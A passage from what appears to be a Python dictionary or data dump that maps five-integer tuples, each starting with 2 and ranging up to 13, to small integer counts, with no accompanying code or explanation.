(2, 2, 12, 13, 13): 4,
(2, 3, 3, 3, 3): 4,
(2, 3, 3, 3, 4): 6,
(2, 3, 3, 3, 5): 9,
(2, 3, 3, 3, 6): 12,
(2, 3, 3, 3, 7): 9,
(2, 3, 3, 3, 8): 8,
(2, 3, 3, 3, 9): 11,
(2, 3, 3, 3, 10): 10,
(2, 3, 3, 3, 11): 9,
(2, 3, 3, 3, 12): 10,
(2, 3, 3, 3, 13): 10,
(2, 3, 3, 4, 4): 12,
(2, 3, 3, 4, 5): 14,
(2, 3, 3, 4, 6): 33,
(2, 3, 3, 4, 7): 15,
(2, 3, 3, 4, 8): 18,
(2, 3, 3, 4, 9): 26,
(2, 3, 3, 4, 10): 15,
(2, 3, 3, 4, 11): 12,
(2, 3, 3, 4, 12): 31,
(2, 3, 3, 4, 13): 13,
(2, 3, 3, 5, 5): 9,
(2, 3, 3, 5, 6): 22,
(2, 3, 3, 5, 7): 16,
(2, 3, 3, 5, 8): 11,
(2, 3, 3, 5, 9): 31,
(2, 3, 3, 5, 10): 19,
(2, 3, 3, 5, 11): 11,
(2, 3, 3, 5, 12): 20,
(2, 3, 3, 5, 13): 9,
(2, 3, 3, 6, 6): 21,
(2, 3, 3, 6, 7): 21,
(2, 3, 3, 6, 8): 30,
(2, 3, 3, 6, 9): 30,
(2, 3, 3, 6, 10): 32,
(2, 3, 3, 6, 11): 17,
(2, 3, 3, 6, 12): 36,
(2, 3, 3, 6, 13): 17,
(2, 3, 3, 7, 7): 12,
(2, 3, 3, 7, 8): 11,
(2, 3, 3, 7, 9): 26,
(2, 3, 3, 7, 10): 15,
(2, 3, 3, 7, 11): 13,
(2, 3, 3, 7, 12): 21,
(2, 3, 3, 7, 13): 16,
(2, 3, 3, 8, 8): 8,
(2, 3, 3, 8, 9): 15,
(2, 3, 3, 8, 10): 6,
(2, 3, 3, 8, 11): 11,
(2, 3, 3, 8, 12): 29,
(2, 3, 3, 8, 13): 11,
(2, 3, 3, 9, 9): 12,
(2, 3, 3, 9, 10): 18,
(2, 3, 3, 9, 11): 21,
(2, 3, 3, 9, 12): 27,
(2, 3, 3, 9, 13): 20,
(2, 3, 3, 10, 10): 7,
(2, 3, 3, 10, 11): 8,
(2, 3, 3, 10, 12): 21,
(2, 3, 3, 10, 13): 8,
(2, 3, 3, 11, 11): 8,
(2, 3, 3, 11, 12): 13,
(2, 3, 3, 11, 13): 10,
(2, 3, 3, 12, 12): 18,
(2, 3, 3, 12, 13): 12,
(2, 3, 3, 13, 13): 3,
(2, 3, 4, 4, 4): 9,
(2, 3, 4, 4, 5): 16,
(2, 3, 4, 4, 6): 21,
(2, 3, 4, 4, 7): 25,
(2, 3, 4, 4, 8): 26,
(2, 3, 4, 4, 9): 23,
(2, 3, 4, 4, 10): 22,
(2, 3, 4, 4, 11): 16,
(2, 3, 4, 4, 12): 28,
(2, 3, 4, 4, 13): 16,
(2, 3, 4, 5, 5): 12,
(2, 3, 4, 5, 6): 27,
(2, 3, 4, 5, 7): 26,
(2, 3, 4, 5, 8): 34,
(2, 3, 4, 5, 9): 28,
(2, 3, 4, 5, 10): 24,
(2, 3, 4, 5, 11): 22,
(2, 3, 4, 5, 12): 30,
(2, 3, 4, 5, 13): 28,
(2, 3, 4, 6, 6): 35,
(2, 3, 4, 6, 7): 36,
(2, 3, 4, 6, 8): 41,
(2, 3, 4, 6, 9): 51,
(2, 3, 4, 6, 10): 33,
(2, 3, 4, 6, 11): 24,
(2, 3, 4, 6, 12): 62,
(2, 3, 4, 6, 13): 28,
(2, 3, 4, 7, 7): 17,
(2, 3, 4, 7, 8): 33,
(2, 3, 4, 7, 9): 31,
(2, 3, 4, 7, 10): 41,
(2, 3, 4, 7, 11): 34,
(2, 3, 4, 7, 12): 32,
(2, 3, 4, 7, 13): 23,
(2, 3, 4, 8, 8): 20,
(2, 3, 4, 8, 9): 30,
(2, 3, 4, 8, 10): 40,
(2, 3, 4, 8, 11): 26,
(2, 3, 4, 8, 12): 43,
(2, 3, 4, 8, 13): 16,
(2, 3, 4, 9, 9): 21,
(2, 3, 4, 9, 10): 17,
(2, 3, 4, 9, 11): 19,
(2, 3, 4, 9, 12): 50,
(2, 3, 4, 9, 13): 25,
(2, 3, 4, 10, 10): 16,
(2, 3, 4, 10, 11): 22,
(2, 3, 4, 10, 12): 38,
(2, 3, 4, 10, 13): 25,
(2, 3, 4, 11, 11): 13,
(2, 3, 4, 11, 12): 23,
(2, 3, 4, 11, 13): 21,
(2, 3, 4, 12, 12): 33,
(2, 3, 4, 12, 13): 20,
(2, 3, 4, 13, 13): 6,
(2, 3, 5, 5, 5): 2,
(2, 3, 5, 5, 6): 15,
(2, 3, 5, 5, 7): 14,
(2, 3, 5, 5, 8): 15,
(2, 3, 5, 5, 9): 15,
(2, 3, 5, 5, 10): 14,
(2, 3, 5, 5, 11): 12,
(2, 3, 5, 5, 12): 18,
(2, 3, 5, 5, 13): 11,
(2, 3, 5, 6, 6): 26,
(2, 3, 5, 6, 7): 27,
(2, 3, 5, 6, 8): 30,
(2, 3, 5, 6, 9): 30,
(2, 3, 5, 6, 10): 24,
(2, 3, 5, 6, 11): 27,
(2, 3, 5, 6, 12): 53,
(2, 3, 5, 6, 13): 23,
(2, 3, 5, 7, 7): 18,
(2, 3, 5, 7, 8): 28,
(2, 3, 5, 7, 9): 27,
(2, 3, 5, 7, 10): 31,
(2, 3, 5, 7, 11): 25,
(2, 3, 5, 7, 12): 32,
(2, 3, 5, 7, 13): 22,
(2, 3, 5, 8, 8): 11,
(2, 3, 5, 8, 9): 25,
(2, 3, 5, 8, 10): 34,
(2, 3, 5, 8, 11): 27,
(2, 3, 5, 8, 12): 19,
(2, 3, 5, 8, 13): 19,
(2, 3, 5, 9, 9): 22,
(2, 3, 5, 9, 10): 21,
(2, 3, 5, 9, 11): 23,
(2, 3, 5, 9, 12): 32,
(2, 3, 5, 9, 13): 19,
(2, 3, 5, 10, 10): 8,
(2, 3, 5, 10, 11): 17,
(2, 3, 5, 10, 12): 23,
(2, 3, 5, 10, 13): 25,
(2, 3, 5, 11, 11): 5,
(2, 3, 5, 11, 12): 24,
(2, 3, 5, 11, 13): 23,
(2, 3, 5, 12, 12): 18,
(2, 3, 5, 12, 13): 14,
(2, 3, 5, 13, 13): 11,
(2, 3, 6, 6, 6): 15,
(2, 3, 6, 6, 7): 16,
(2, 3, 6, 6, 8): 28,
(2, 3, 6, 6, 9): 30,
(2, 3, 6, 6, 10): 27,
(2, 3, 6, 6, 11): 26,
(2, 3, 6, 6, 12): 44,
(2, 3, 6, 6, 13): 23,
(2, 3, 6, 7, 7): 21,
(2, 3, 6, 7, 8): 26,
(2, 3, 6, 7, 9): 36,
(2, 3, 6, 7, 10): 32,
(2, 3, 6, 7, 11): 23,
(2, 3, 6, 7, 12): 35,
(2, 3, 6, 7, 13): 23,
(2, 3, 6, 8, 8): 15,
(2, 3, 6, 8, 9): 46,
(2, 3, 6, 8, 10): 35,
(2, 3, 6, 8, 11): 20,
(2, 3, 6, 8, 12): 49,
(2, 3, 6, 8, 13): 11,
(2, 3, 6, 9, 9): 24,
(2, 3, 6, 9, 10): 40,
(2, 3, 6, 9, 11): 28,
(2, 3, 6, 9, 12): 53,
(2, 3, 6, 9, 13): 33,
(2, 3, 6, 10, 10): 16,
(2, 3, 6, 10, 11): 19,
(2, 3, 6, 10, 12): 47,
(2, 3, 6, 10, 13): 23,
(2, 3, 6, 11, 11): 16,
(2, 3, 6, 11, 12): 31,
(2, 3, 6, 11, 13): 16,
(2, 3, 6, 12, 12): 29,
(2, 3, 6, 12, 13): 25,
(2, 3, 6, 13, 13): 12,
(2, 3, 7, 7, 7): 10,
(2, 3, 7, 7, 8): 17,
(2, 3, 7, 7, 9): 13,
(2, 3, 7, 7, 10): 12,
(2, 3, 7, 7, 11): 18,
(2, 3, 7, 7, 12): 20,
(2, 3, 7, 7, 13): 13,
(2, 3, 7, 8, 8): 10,
(2, 3, 7, 8, 9): 20,
(2, 3, 7, 8, 10): 22,
(2, 3, 7, 8, 11): 14,
(2, 3, 7, 8, 12): 24,
(2, 3, 7, 8, 13): 27,
(2, 3, 7, 9, 9): 21,
(2, 3, 7, 9, 10): 19,
(2, 3, 7, 9, 11): 19,
(2, 3, 7, 9, 12): 29,
(2, 3, 7, 9, 13): 17,
(2, 3, 7, 10, 10): 11,
(2, 3, 7, 10, 11): 28,
(2, 3, 7, 10, 12): 21,
(2, 3, 7, 10, 13): 14,
(2, 3, 7, 11, 11): 8,
(2, 3, 7, 11, 12): 19,
(2, 3, 7, 11, 13): 15,
(2, 3, 7, 12, 12): 19,
(2, 3, 7, 12, 13): 18,
(2, 3, 7, 13, 13): 7,
(2, 3, 8, 8, 8): 8,
(2, 3, 8, 8, 9): 8,
(2, 3, 8, 8, 10): 10,
(2, 3, 8, 8, 11): 9,
(2, 3, 8, 8, 12): 13,
(2, 3, 8, 8, 13): 9,
(2, 3, 8, 9, 9): 12,
(2, 3, 8, 9, 10): 18,
(2, 3, 8, 9, 11): 25,
(2, 3, 8, 9, 12): 39,
(2, 3, 8, 9, 13): 11,
(2, 3, 8, 10, 10): 20,
(2, 3, 8, 10, 11): 17,
(2, 3, 8, 10, 12): 28,
(2, 3, 8, 10, 13): 18,
(2, 3, 8, 11, 11): 7,
(2, 3, 8, 11, 12): 17,
(2, 3, 8, 11, 13): 17,
(2, 3, 8, 12, 12): 23,
(2, 3, 8, 12, 13): 15,
(2, 3, 8, 13, 13): 8,
(2, 3, 9, 9, 9): 10,
(2, 3, 9, 9, 10): 15,
(2, 3, 9, 9, 11): 23,
(2, 3, 9, 9, 12): 18,
(2, 3, 9, 9, 13): 17,
(2, 3, 9, 10, 10): 13,
(2, 3, 9, 10, 11): 7,
(2, 3, 9, 10, 12): 23,
(2, 3, 9, 10, 13): 14,
(2, 3, 9, 11, 11): 4,
(2, 3, 9, 11, 12): 23,
(2, 3, 9, 11, 13): 18,
(2, 3, 9, 12, 12): 21,
(2, 3, 9, 12, 13): 18,
(2, 3, 9, 13, 13): 3,
(2, 3, 10, 10, 10): 2,
(2, 3, 10, 10, 11): 12,
(2, 3, 10, 10, 12): 11,
(2, 3, 10, 10, 13): 11,
(2, 3, 10, 11, 11): 6,
(2, 3, 10, 11, 12): 11,
(2, 3, 10, 11, 13): 11,
(2, 3, 10, 12, 12): 21,
(2, 3, 10, 12, 13): 10,
(2, 3, 10, 13, 13): 8,
(2, 3, 11, 11, 11): 4,
(2, 3, 11, 11, 12): 8,
(2, 3, 11, 11, 13): 8,
(2, 3, 11, 12, 12): 18,
(2, 3, 11, 12, 13): 19,
(2, 3, 11, 13, 13): 9,
(2, 3, 12, 12, 12): 13,
(2, 3, 12, 12, 13): 12,
(2, 3, 12, 13, 13): 6,
(2, 3, 13, 13, 13): 4,
(2, 4, 4, 4, 5): 11,
(2, 4, 4, 4, 6): 11,
(2, 4, 4, 4, 7): 11,
(2, 4, 4, 4, 8): 6,
(2, 4, 4, 4, 9): 10,
(2, 4, 4, 4, 10): 10,
(2, 4, 4, 4, 11): 14,
(2, 4, 4, 4, 12): 9,
(2, 4, 4, 4, 13): 10,
(2, 4, 4, 5, 5): 9,
(2, 4, 4, 5, 6): 19,
(2, 4, 4, 5, 7): 17,
(2, 4, 4, 5, 8): 25,
(2, 4, 4, 5, 9): 13,
(2, 4, 4, 5, 10): 22,
(2, 4, 4, 5, 11): 10,
(2, 4, 4, 5, 12): 24,
(2, 4, 4, 5, 13): 10,
(2, 4, 4, 6, 6): 15,
(2, 4, 4, 6, 7): 19,
(2, 4, 4, 6, 8): 20,
(2, 4, 4, 6, 9): 17,
(2, 4, 4, 6, 10): 28,
(2, 4, 4, 6, 11): 19,
(2, 4, 4, 6, 12): 22,
(2, 4, 4, 6, 13): 15,
(2, 4, 4, 7, 7): 13,
(2, 4, 4, 7, 8): 20,
(2, 4, 4, 7, 9): 12,
(2, 4, 4, 7, 10): 18,
(2, 4, 4, 7, 11): 14,
(2, 4, 4, 7, 12): 28,
(2, 4, 4, 7, 13): 7,
(2, 4, 4, 8, 8): 7,
(2, 4, 4, 8, 9): 27,
(2, 4, 4, 8, 10): 21,
(2, 4, 4, 8, 11): 25,
(2, 4, 4, 8, 12): 22,
(2, 4, 4, 8, 13): 23,
(2, 4, 4, 9, 9): 3,
(2, 4, 4, 9, 10): 11,
(2, 4, 4, 9, 11): 8,
(2, 4, 4, 9, 12): 24,
(2, 4, 4, 9, 13): 6,
(2, 4, 4, 10, 10): 16,
(2, 4, 4, 10, 11): 11,
(2, 4, 4, 10, 12): 19,
(2, 4, 4, 10, 13): 9,
(2, 4, 4, 11, 11): 4,
(2, 4, 4, 11, 12): 23,
(2, 4, 4, 11, 13): 1,
(2, 4, 4, 12, 12): 15,
(2, 4, 4, 12, 13): 15,
(2, 4, 4, 13, 13): 4,
(2, 4, 5, 5, 5): 6,
(2, 4, 5, 5, 6): 17,
(2, 4, 5, 5, 7): 13,
(2, 4, 5, 5, 8): 16,
(2, 4, 5, 5, 9): 13,
(2, 4, 5, 5, 10): 16,
(2, 4, 5, 5, 11): 15,
(2, 4, 5, 5, 12): 16,
(2, 4, 5, 5, 13): 9,
(2, 4, 5, 6, 6): 22,
(2, 4, 5, 6, 7): 19,
(2, 4, 5, 6, 8): 39,
(2, 4, 5, 6, 9): 23,
(2, 4, 5, 6, 10): 41,
(2, 4, 5, 6, 11): 25,
(2, 4, 5, 6, 12): 32,
(2, 4, 5, 6, 13): 16,
(2, 4, 5, 7, 7): 23,
(2, 4, 5, 7, 8): 23,
(2, 4, 5, 7, 9): 29,
(2, 4, 5, 7, 10): 17,
(2, 4, 5, 7, 11): 18,
(2, 4, 5, 7, 12): 30,
(2, 4, 5, 7, 13): 21,
(2, 4, 5, 8, 8): 28,
(2, 4, 5, 8, 9): 13,
(2, 4, 5, 8, 10): 28,
(2, 4, 5, 8, 11): 14,
(2, 4, 5, 8, 12): 44,
(2, 4, 5, 8, 13): 14,
(2, 4, 5, 9, 9): 11,
(2, 4, 5, 9, 10): 32,
(2, 4, 5, 9, 11): 27,
(2, 4, 5, 9, 12): 17,
(2, 4, 5, 9, 13): 12,
(2, 4, 5, 10, 10): 14,
(2, 4, 5, 10, 11): 12,
(2, 4, 5, 10, 12): 26,
(2, 4, 5, 10, 13): 20,
(2, 4, 5, 11, 11): 10,
(2, 4, 5, 11, 12): 14,
(2, 4, 5, 11, 13): 18,
(2, 4, 5, 12, 12): 20,
(2, 4, 5, 12, 13): 17,
(2, 4, 5, 13, 13): 10,
(2, 4, 6, 6, 6): 13,
(2, 4, 6, 6, 7): 13,
(2, 4, 6, 6, 8): 23,
(2, 4, 6, 6, 9): 33,
(2, 4, 6, 6, 10): 22,
(2, 4, 6, 6, 11): 15,
(2, 4, 6, 6, 12): 41,
(2, 4, 6, 6, 13): 13,
(2, 4, 6, 7, 7): 23,
(2, 4, 6, 7, 8): 32,
(2, 4, 6, 7, 9): 23,
(2, 4, 6, 7, 10): 37,
(2, 4, 6, 7, 11): 18,
(2, 4, 6, 7, 12): 35,
(2, 4, 6, 7, 13): 31,
(2, 4, 6, 8, 8): 21,
(2, 4, 6, 8, 9): 34,
(2, 4, 6, 8, 10): 38,
(2, 4, 6, 8, 11): 29,
(2, 4, 6, 8, 12): 45,
(2, 4, 6, 8, 13): 30,
(2, 4, 6, 9, 9): 27,
(2, 4, 6, 9, 10): 33,
(2, 4, 6, 9, 11): 17,
(2, 4, 6, 9, 12): 49,
(2, 4, 6, 9, 13): 9,
(2, 4, 6, 10, 10): 32,
(2, 4, 6, 10, 11): 32,
(2, 4, 6, 10, 12): 37,
(2, 4, 6, 10, 13): 25,
(2, 4, 6, 11, 11): 13,
(2, 4, 6, 11, 12): 24,
(2, 4, 6, 11, 13): 13,
(2, 4, 6, 12, 12): 28,
(2, 4, 6, 12, 13): 30,
(2, 4, 6, 13, 13): 11,
(2, 4, 7, 7, 7): 12,
(2, 4, 7, 7, 8): 16,
(2, 4, 7, 7, 9): 17,
(2, 4, 7, 7, 10): 20,
(2, 4, 7, 7, 11): 17,
(2, 4, 7, 7, 12): 18,
(2, 4, 7, 7, 13): 9,
(2, 4, 7, 8, 8): 17,
(2, 4, 7, 8, 9): 21,
(2, 4, 7, 8, 10): 29,
(2, 4, 7, 8, 11): 17,
(2, 4, 7, 8, 12): 45,
(2, 4, 7, 8, 13): 11,
(2, 4, 7, 9, 9): 11,
(2, 4, 7, 9, 10): 19,
(2, 4, 7, 9, 11): 16,
(2, 4, 7, 9, 12): 18,
(2, 4, 7, 9, 13): 22,
(2, 4, 7, 10, 10): 14,
(2, 4, 7, 10, 11): 23,
(2, 4, 7, 10, 12): 40,
(2, 4, 7, 10, 13): 15,
(2, 4, 7, 11, 11): 14,
(2, 4, 7, 11, 12): 26,
(2, 4, 7, 11, 13): 16,
(2, 4, 7, 12, 12): 19,
(2, 4, 7, 12, 13): 13,
(2, 4, 7, 13, 13): 8,
(2, 4, 8, 8, 8): 4,
(2, 4, 8, 8, 9): 22,
(2, 4, 8, 8, 10): 23,
(2, 4, 8, 8, 11): 22,
(2, 4, 8, 8, 12): 19,
(2, 4, 8, 8, 13): 17,
(2, 4, 8, 9, 9): 7,
(2, 4, 8, 9, 10): 25,
(2, 4, 8, 9, 11): 15,
(2, 4, 8, 9, 12): 35,
(2, 4, 8, 9, 13): 13,
(2, 4, 8, 10, 10): 21,
(2, 4, 8, 10, 11): 17,
(2, 4, 8, 10, 12): 38,
(2, 4, 8, 10, 13): 25,
(2, 4, 8, 11, 11): 9,
(2, 4, 8, 11, 12): 37,
(2, 4, 8, 11, 13): 5,
(2, 4, 8, 12, 12): 18,
(2, 4, 8, 12, 13): 26,
(2, 4, 8, 13, 13): 9,
(2, 4, 9, 9, 9): 1,
(2, 4, 9, 9, 10): 7,
(2, 4, 9, 9, 11): 9,
(2, 4, 9, 9, 12): 25,
(2, 4, 9, 9, 13): 4,
(2, 4, 9, 10, 10): 14,
(2, 4, 9, 10, 11): 12,
(2, 4, 9, 10, 12): 24,
(2, 4, 9, 10, 13): 19,
(2, 4, 9, 11, 11): 6,
(2, 4, 9, 11, 12): 7,
(2, 4, 9, 11, 13): 19,
(2, 4, 9, 12, 12): 25,
(2, 4, 9, 12, 13): 11,
(2, 4, 9, 13, 13): 7,
(2, 4, 10, 10, 10): 6,
(2, 4, 10, 10, 11): 11,
(2, 4, 10, 10, 12): 13,
(2, 4, 10, 10, 13): 8,
(2, 4, 10, 11, 11): 11,
(2, 4, 10, 11, 12): 15,
(2, 4, 10, 11, 13): 11,
(2, 4, 10, 12, 12): 15,
(2, 4, 10, 12, 13): 30,
(2, 4, 10, 13, 13): 9,
(2, 4, 11, 11, 11): 3,
(2, 4, 11, 11, 12): 12,
(2, 4, 11, 11, 13): 3,
(2, 4, 11, 12, 12): 13,
(2, 4, 11, 12, 13): 11,
(2, 4, 11, 13, 13): 8,
(2, 4, 12, 12, 12): 14,
(2, 4, 12, 12, 13): 11,
(2, 4, 12, 13, 13): 7,
(2, 5, 5, 5, 5): 1,
(2, 5, 5, 5, 6): 5,
(2, 5, 5, 5, 7): 4,
(2, 5, 5, 5, 8): 2,
(2, 5, 5, 5, 9): 6,
(2, 5, 5, 5, 10): 4,
(2, 5, 5, 5, 11): 5,
(2, 5, 5, 5, 12): 5,
(2, 5, 5, 5, 13): 3,
(2, 5, 5, 6, 6): 7,
(2, 5, 5, 6, 7): 11,
(2, 5, 5, 6, 8): 14,
(2, 5, 5, 6, 9): 15,
(2, 5, 5, 6, 10): 14,
(2, 5, 5, 6, 11): 9,
(2, 5, 5, 6, 12): 10,
(2, 5, 5, 6, 13): 10,
(2, 5, 5, 7, 7): 8,
(2, 5, 5, 7, 8): 13,
(2, 5, 5, 7, 9): 12,
(2, 5, 5, 7, 10): 13,
(2, 5, 5, 7, 11): 9,
(2, 5, 5, 7, 12): 13,
(2, 5, 5, 7, 13): 9,
(2, 5, 5, 8, 8): 7,
(2, 5, 5, 8, 9): 7,
(2, 5, 5, 8, 10): 14,
(2, 5, 5, 8, 11): 7,
(2, 5, 5, 8, 12): 12,
(2, 5, 5, 8, 13): 13,
(2, 5, 5, 9, 9): 5,
(2, 5, 5, 9, 10): 10,
(2, 5, 5, 9, 11): 10,
(2, 5, 5, 9, 12): 10,
(2, 5, 5, 9, 13): 14,
(2, 5, 5, 10, 10): 5,
(2, 5, 5, 10, 11): 10,
(2, 5, 5, 10, 12): 14,
(2, 5, 5, 10, 13): 5,
(2, 5, 5, 11, 11): 5,
(2, 5, 5, 11, 12): 6,
(2, 5, 5, 11, 13): 5,
(2, 5, 5, 12, 12): 4,
(2, 5, 5, 12, 13): 10,
(2, 5, 5, 13, 13): 3,
(2, 5, 6, 6, 6): 6,
(2, 5, 6, 6, 7): 11,
(2, 5, 6, 6, 8): 16,
(2, 5, 6, 6, 9): 26,
(2, 5, 6, 6, 10): 15,
(2, 5, 6, 6, 11): 7,
(2, 5, 6, 6, 12): 26,
(2, 5, 6, 6, 13): 8,
(2, 5, 6, 7, 7): 11,
(2, 5, 6, 7, 8): 22,
(2, 5, 6, 7, 9): 26,
(2, 5, 6, 7, 10): 18,
(2, 5, 6, 7, 11): 22,
(2, 5, 6, 7, 12): 30,
(2, 5, 6, 7, 13): 21,
(2, 5, 6, 8, 8): 15,
(2, 5, 6, 8, 9): 14,
(2, 5, 6, 8, 10): 29,
(2, 5, 6, 8, 11): 18,
(2, 5, 6, 8, 12): 29,
(2, 5, 6, 8, 13): 23,
(2, 5, 6, 9, 9): 14,
(2, 5, 6, 9, 10): 18,
(2, 5, 6, 9, 11): 24,
(2, 5, 6, 9, 12): 30,
(2, 5, 6, 9, 13): 17,
(2, 5, 6, 10, 10): 15,
(2, 5, 6, 10, 11): 25,
(2, 5, 6, 10, 12): 28,
(2, 5, 6, 10, 13): 15,
(2, 5, 6, 11, 11): 5,
(2, 5, 6, 11, 12): 20,
(2, 5, 6, 11, 13): 14,
(2, 5, 6, 12, 12): 20,
(2, 5, 6, 12, 13): 19,
(2, 5, 6, 13, 13): 5,
(2, 5, 7, 7, 7): 15,
(2, 5, 7, 7, 8): 13,
(2, 5, 7, 7, 9): 20,
(2, 5, 7, 7, 10): 18,
(2, 5, 7, 7, 11): 7,
(2, 5, 7, 7, 12): 14,
(2, 5, 7, 7, 13): 10,
(2, 5, 7, 8, 8): 6,
(2, 5, 7, 8, 9): 29,
(2, 5, 7, 8, 10): 23,
(2, 5, 7, 8, 11): 21,
(2, 5, 7, 8, 12): 30,
(2, 5, 7, 8, 13): 12,
(2, 5, 7, 9, 9): 7,
(2, 5, 7, 9, 10): 17,
(2, 5, 7, 9, 11): 19,
(2, 5, 7, 9, 12): 27,
(2, 5, 7, 9, 13): 18,
(2, 5, 7, 10, 10): 14,
(2, 5, 7, 10, 11): 13,
(2, 5, 7, 10, 12): 23,
(2, 5, 7, 10, 13): 25,
(2, 5, 7, 11, 11): 12,
(2, 5, 7, 11, 12): 20,
(2, 5, 7, 11, 13): 11,
(2, 5, 7, 12, 12): 8,
(2, 5, 7, 12, 13): 18,
(2, 5, 7, 13, 13): 5,
(2, 5, 8, 8, 8): 4,
(2, 5, 8, 8, 9): 10,
(2, 5, 8, 8, 10): 20,
(2, 5, 8, 8, 11): 5,
(2, 5, 8, 8, 12): 15,
(2, 5, 8, 8, 13): 8,
(2, 5, 8, 9, 9): 11,
(2, 5, 8, 9, 10): 20,
(2, 5, 8, 9, 11): 14,
(2, 5, 8, 9, 12): 16,
(2, 5, 8, 9, 13): 21,
(2, 5, 8, 10, 10): 14,
(2, 5, 8, 10, 11): 16,
(2, 5, 8, 10, 12): 31,
(2, 5, 8, 10, 13): 12,
(2, 5, 8, 11, 11): 9,
(2, 5, 8, 11, 12): 12,
(2, 5, 8, 11, 13): 15,
(2, 5, 8, 12, 12): 11,
(2, 5, 8, 12, 13): 12,
(2, 5, 8, 13, 13): 5,
(2, 5, 9, 9, 9): 4,
(2, 5, 9, 9, 10): 8,
(2, 5, 9, 9, 11): 3,
(2, 5, 9, 9, 12): 13,
(2, 5, 9, 9, 13): 6,
(2, 5, 9, 10, 10): 11,
(2, 5, 9, 10, 11): 21,
(2, 5, 9, 10, 12): 12,
(2, 5, 9, 10, 13): 10,
(2, 5, 9, 11, 11): 12,
(2, 5, 9, 11, 12): 18,
(2, 5, 9, 11, 13): 10,
(2, 5, 9, 12, 12): 17,
(2, 5, 9, 12, 13): 18,
(2, 5, 9, 13, 13): 10,
(2, 5, 10, 10, 10): 5,
(2, 5, 10, 10, 11): 10,
(2, 5, 10, 10, 12): 14,
(2, 5, 10, 10, 13): 7,
(2, 5, 10, 11, 11): 7,
(2, 5, 10, 11, 12): 17,
(2, 5, 10, 11, 13): 12,
(2, 5, 10, 12, 12): 9,
(2, 5, 10, 12, 13): 18,
(2, 5, 10, 13, 13): 6,
(2, 5, 11, 11, 11): 1,
(2, 5, 11, 11, 12): 7,
(2, 5, 11, 11, 13): 8,
(2, 5, 11, 12, 12): 7,
(2, 5, 11, 12, 13): 10,
(2, 5, 11, 13, 13): 9,
(2, 5, 12, 12, 12): 9,
(2, 5, 12, 12, 13): 5,
(2, 5, 12, 13, 13): 5,
(2, 5, 13, 13, 13): 4,
(2, 6, 6, 6, 6): 6,
(2, 6, 6, 6, 7): 7,
(2, 6, 6, 6, 8): 12,
(2, 6, 6, 6, 9): 12,
(2, 6, 6, 6, 10): 9,
(2, 6, 6, 6, 11): 8,
(2, 6, 6, 6, 12): 16,
(2, 6, 6, 6, 13): 7,
(2, 6, 6, 7, 7): 9,
(2, 6, 6, 7, 8): 14,
(2, 6, 6, 7, 9): 13,
(2, 6, 6, 7, 10): 10,
(2, 6, 6, 7, 11): 9,
(2, 6, 6, 7, 12): 13,
(2, 6, 6, 7, 13): 9,
(2, 6, 6, 8, 8): 6,
(2, 6, 6, 8, 9): 22,
(2, 6, 6, 8, 10): 18,
(2, 6, 6, 8, 11): 14,
(2, 6, 6, 8, 12): 28,
(2, 6, 6, 8, 13): 7,
(2, 6, 6, 9, 9): 11,
(2, 6, 6, 9, 10): 20,
(2, 6, 6, 9, 11): 17,
(2, 6, 6, 9, 12): 32,
(2, 6, 6, 9, 13): 11,
(2, 6, 6, 10, 10): 8,
(2, 6, 6, 10, 11): 7,
(2, 6, 6, 10, 12): 26,
(2, 6, 6, 10, 13): 9,
(2, 6, 6, 11, 11): 2,
(2, 6, 6, 11, 12): 13,
(2, 6, 6, 11, 13): 5,
(2, 6, 6, 12, 12): 23,
(2, 6, 6, 12, 13): 13,
(2, 6, 6, 13, 13): 6,
(2, 6, 7, 7, 7): 8,
(2, 6, 7, 7, 8): 16,
(2, 6, 7, 7, 9): 10,
(2, 6, 7, 7, 10): 12,
(2, 6, 7, 7, 11): 9,
(2, 6, 7, 7, 12): 11,
(2, 6, 7, 7, 13): 9,
(2, 6, 7, 8, 8): 17,
(2, 6, 7, 8, 9): 11,
(2, 6, 7, 8, 10): 21,
(2, 6, 7, 8, 11): 11,
(2, 6, 7, 8, 12): 20,
(2, 6, 7, 8, 13): 19,
(2, 6, 7, 9, 9): 19,
(2, 6, 7, 9, 10): 15,
(2, 6, 7, 9, 11): 13,
(2, 6, 7, 9, 12): 34,
(2, 6, 7, 9, 13): 12,
(2, 6, 7, 10, 10): 9,
(2, 6, 7, 10, 11): 13,
(2, 6, 7, 10, 12): 23,
(2, 6, 7, 10, 13): 18,
(2, 6, 7, 11, 11): 6,
(2, 6, 7, 11, 12): 13,
(2, 6, 7, 11, 13): 11,
(2, 6, 7, 12, 12): 20,
(2, 6, 7, 12, 13): 17,
(2, 6, 7, 13, 13): 6,
(2, 6, 8, 8, 8): 7,
(2, 6, 8, 8, 9): 15,
(2, 6, 8, 8, 10): 21,
(2, 6, 8, 8, 11): 14,
(2, 6, 8, 8, 12): 16,
(2, 6, 8, 8, 13): 9,
(2, 6, 8, 9, 9): 16,
(2, 6, 8, 9, 10): 23,
(2, 6, 8, 9, 11): 7,
(2, 6, 8, 9, 12): 41,
(2, 6, 8, 9, 13): 12,
(2, 6, 8, 10, 10): 12,
(2, 6, 8, 10, 11): 23,
(2, 6, 8, 10, 12): 31,
(2, 6, 8, 10, 13): 30,
(2, 6, 8, 11, 11): 10,
(2, 6, 8, 11, 12): 30,
(2, 6, 8, 11, 13): 10,
(2, 6, 8, 12, 12): 17,
(2, 6, 8, 12, 13): 19,
(2, 6, 8, 13, 13): 9,
(2, 6, 9, 9, 9): 7,
(2, 6, 9, 9, 10): 13,
(2, 6, 9, 9, 11): 9,
(2, 6, 9, 9, 12): 18,
(2, 6, 9, 9, 13): 12,
(2, 6, 9, 10, 10): 7,
(2, 6, 9, 10, 11): 14,
(2, 6, 9, 10, 12): 35,
(2, 6, 9, 10, 13): 6,
(2, 6, 9, 11, 11): 8,
(2, 6, 9, 11, 12): 20,
(2, 6, 9, 11, 13): 14,
(2, 6, 9, 12, 12): 19,
(2, 6, 9, 12, 13): 21,
(2, 6, 9, 13, 13): 6,
(2, 6, 10, 10, 10): 7,
(2, 6, 10, 10, 11): 9,
(2, 6, 10, 10, 12): 14,
(2, 6, 10, 10, 13): 9,
(2, 6, 10, 11, 11): 6,
(2, 6, 10, 11, 12): 17,
(2, 6, 10, 11, 13): 12,
(2, 6, 10, 12, 12): 20,
(2, 6, 10, 12, 13): 15,
(2, 6, 10, 13, 13): 7,
(2, 6, 11, 11, 11): 2,
(2, 6, 11, 11, 12): 8,
(2, 6, 11, 11, 13): 7,
(2, 6, 11, 12, 12): 14,
(2, 6, 11, 12, 13): 8,
(2, 6, 11, 13, 13): 7,
(2, 6, 12, 12, 12): 7,
(2, 6, 12, 12, 13): 14,
(2, 6, 12, 13, 13): 6,
